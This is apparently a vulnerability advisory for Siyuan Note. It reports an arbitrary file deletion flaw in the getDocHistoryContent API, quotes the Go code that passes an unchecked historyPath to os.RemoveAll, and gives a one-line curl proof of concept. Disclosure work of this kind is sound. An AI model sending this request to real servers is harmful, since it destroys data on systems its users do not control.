### Summary A **arbitrary file deletion vulnerability** has been identified in the latest version of Siyuan Note. The vulnerability exists in the `POST /api/history/getDocHistoryContent` endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. ### Details The vulnerability can be reproduced by sending a crafted request to the `/api/history/getDocHistoryContent` endpoint. Sending a request to the `/api/history/getDocHistoryContent` like: ``` curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}' ``` Replace `<abs_filepath_of_a_file>` with the absolute file path of the target file you wish to delete. The `historyPath` parameter in the payload is processed by the `func getDocHistoryContent` in `api/history.go:133`. In turn, `historyPath` is passed to the `func GetDocHistoryContent` located in `model/history.go:150` , which is the slink of the vulnerability. if `historyPath` exists and does not satisfy the `filesys.ParseJSONWithoutFix`, then it will be deleted by `os.RemoveAll` ```go func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) { if !gulu.File.IsExist(historyPath) { logging.LogWarnf("doc history [%s] not exist", historyPath) return } data, err := filelock.ReadFile(historyPath) if err != nil { logging.LogErrorf("read file [%s] failed: %s", historyPath, err) return } isLargeDoc = 1024*1024*1 <= len(data) luteEngine := NewLute() historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions) if err != nil { logging.LogErrorf("parse tree from file [%s] failed, remove it", historyPath) os.RemoveAll(historyPath) return } ... } ``` ### PoC ``` curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}' ``` ### Impact arbitrary file deletion vulnerability
